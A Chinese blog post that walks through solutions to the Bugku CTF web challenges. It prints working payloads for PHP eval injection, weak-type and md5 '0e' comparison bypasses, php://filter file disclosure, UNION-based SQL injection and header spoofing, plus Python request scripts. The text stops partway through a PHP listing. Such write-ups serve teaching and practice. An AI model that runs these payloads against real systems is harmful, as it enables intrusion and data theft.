当前位置 博文首页 > 韦全敏的博客:bugku平台web部分writeup
很久以前基本就做完了bugku
平台上的web
题目,最近整理整理一下。简单的题目就写短一点吧。
提示:听说聪明的人都能找到答案
链接
flag在源代码中。
链接
发现输入框中只能输入一位数字,但是正确的答案有两位,所以只能通过f12
修改前端代码maxlength
的值或者通过抓包发送正确的值得到flag。
链接
进入题目之后出现代码
提示,按要求get
方式传入what=flag
即可得到flag
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
和上题类似,通过post
方式传入对应的参数即可。推荐使用firefox浏览器的hackbar
插件。
链接
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
通过代码的第一个if
要求$num
不可以为数字,第二个if
要求$num
的值为1,由于php
是弱类型语言。1e
等类似的的字符串为经过==
判断为1
。
payload:http://123.206.87.240:8002/get/index1.php?num=1e
tips: flag就在这里快来找找吧
链接
重要的信息在源代码中的最后几行。
tips: 听说把 flag.bugku.com 解析到123.206.87.240 就能拿到flag
修改hosts
文件即可。比如linux
系统中所在的地址是/etc/hosts
。
链接
使用burp site
多抓几次包即可。
链接
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
这个题目有三种解法
hello=1);show_source(%27flag.php%27);var_dump(2
?hello=get_file_contents(‘flag.php’)
?hello=file(‘flag.php’)
链接
//flag In the variable !
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
首先进入题目之后,发现一段代码和一个提示flag In the variable !
。
分析代码发现正则表达式只允许$args
的值中出现大小写字母和数字,所以不能构造上一题中的文件包含。然后只能使用php中的超全局变量$GLOBALS
(数组,保存所有的全局变量)。
payload:?args=GLOBALS
tips : JSPFUCK???答案格式CTF{**}
字母大写
链接
查看网页源代码发现存在很多的规则字符串,有经验的发现这是JSFUCK编码,没有经验的题目也提示了。复制全部的编码字符串使用chrome
浏览器的调试器即可反编码。
链接
进入题目之后发现提示什么也没有
,但是发现这段话的上面有很多 的空行。
查看源代码之后发现有很多的<br>
换行。这是错误的思路。
使用burp site
抓返回来的包
flag在http响应头中,和题目头等舱
对应。
tips : 这个题没技术含量但是实战中经常遇到
链接
进入题目之后没有发现什么有用的信息,根据题目网站被黑
,想到网站可能存在webshell
,
使用burp site
爆破shell密码即可。
密码字典推荐使用top10000
.
tips : flag格式flag{}
链接
尝试登录时发现这样的提示
尝试来源IP伪造为127.0.0.1
,推荐使用firefox的modify headers
插件。
再一次尝试登陆,发现报错信息变成Invalid credentials! Please try again!
然后弱口令爆破,密码应该是test123
,用户名admin
。
tips : 看看源代码
链接
两处提示都是查看源代码,恩,我们看看源代码。
简单分析之后发现Escape解码之后可以得到一般形式的js代码。在线解码网址
在输入框之中输入67d709b2b54aa2aa648cf6e87a7114f1
即可得到flag。
链接
进入题目出现一个a链接
,点击之后进入另一界面。
发现url中的参数可能可以构造任意文件读取或者任意文件上传的。这里需要用到的知识是php伪协议
,具体详情可以百度。
payload: file=php://filter/read=convert.base64-encode/resource=index.php
然后base64解码即可得到index.php
的源代码,flag就在代码中。
链接
根据提示,构造从00000
到99999
的密码爆破即可。
tips : java script
链接
在这个题目中你可以选择点击一百万次,或者认真的分析一下java script
代码.
查看源代码
发现点击次数通过js传输一个叫做clicks
的参数,通过判断clicks
> 一百万即可得到flag,所以我们构造一个post参数使得他的值大于一百万即可。
tips: 听说备份是一个好习惯
链接
一般在linux中常见的备份文件的格式有
.bak
.swp
.swo
.zip
.tar
.rar
等等
根据题目的提示发现可能存在备份文件,测试发现存在index.php.bak
,访问payload因为服务器不能解析后缀为 .bak
的文件,所以会直接把index.php.bak
文件下载下来。
接着是分析下载下来的index.php
的代码
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);//得到get方式的参数
$str = str_replace('key','',$str);//替换参数中的key为空,可以双写绕过
parse_str($str);//字符串解析到变量中
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
由于php中的==
判断时,0e111111
=0e333423423
=0
,所有使用md5的值为0e
开头的字符串绕过最后的if
payload : http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=s155964671a
tips : 快来查查成绩吧
链接
非常简单的sq注入题目。
首先判断后端返回的列数,此处为4
然后判断后端返回的格式
查看数据库名称和用户名
id=-1' union select 1,user(),database(),4 #
爆表
id=-1' union select 1,2,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database())#
爆列
id=-1' union select 1,2,database(),(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')#
获取flag
id=-1' union select 1,2,database(),(select skctf_flag from fl4g)#
这个题目还可以使用sqlamp
直接跑出flag。
是不是老司机试试就知道。
链接
这个题目中,下面需要计算的式子大概两秒钟更换一次,所以只能通过python
脚本计算,并且把正确的答案通过post
方式传到服务器。
#这里直接使用别人写的脚本,我以前写的找不到了
import requests
import re
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
ans=re.findall('<div>(.*?)=?;</div>',requestpage.text)#获取表达式,我正则写的好像有点问题,多匹配了最后的=?两个字符
ans="".join(ans)#列表转为字符串
ans=ans[:-2]#去掉最后的=?
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)
运行之后有一定的几率可以获取到flag。
tips : 速度要快
链接
查看网页源代码发现提示
按照网页源代码中的要求传入margin
参数之后出现一个新的字符串。
在响应头中发现flag,base64解码之后提交不对,发现这个头部中的flag的值会变。
然后直接上脚本。
import requests
import base64
url = 'http://120.24.86.145:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":")+2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content
tips : 答案格式:KEY{xxxxxxxx}
链接
直接打开链接之后出现
url中的filename
值base64解码之后得到keys.txt
然后把filename
的值替换成index.php
的base64编码值aW5kZXgucGhw
但是没有返回任何内容,后面发现line
的值就是代表第几行的意思,所以
读第一行的的payload为:
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
读第二行的payload为:
http://123.206.87.240:8002/web11/index.php?line=2&filename=aW5kZXgucGhw
这样很麻烦,所以还是使用脚本来跑吧
#!/usr/bin/env python3
#-*-coding:utf-8-*-
#power by jedi
import requests
for i in range(1, 20):
payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw"%i
try:
response = requests.get(payload, timeout=2)
print(response.content)
except:
pass
跑出的index.php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])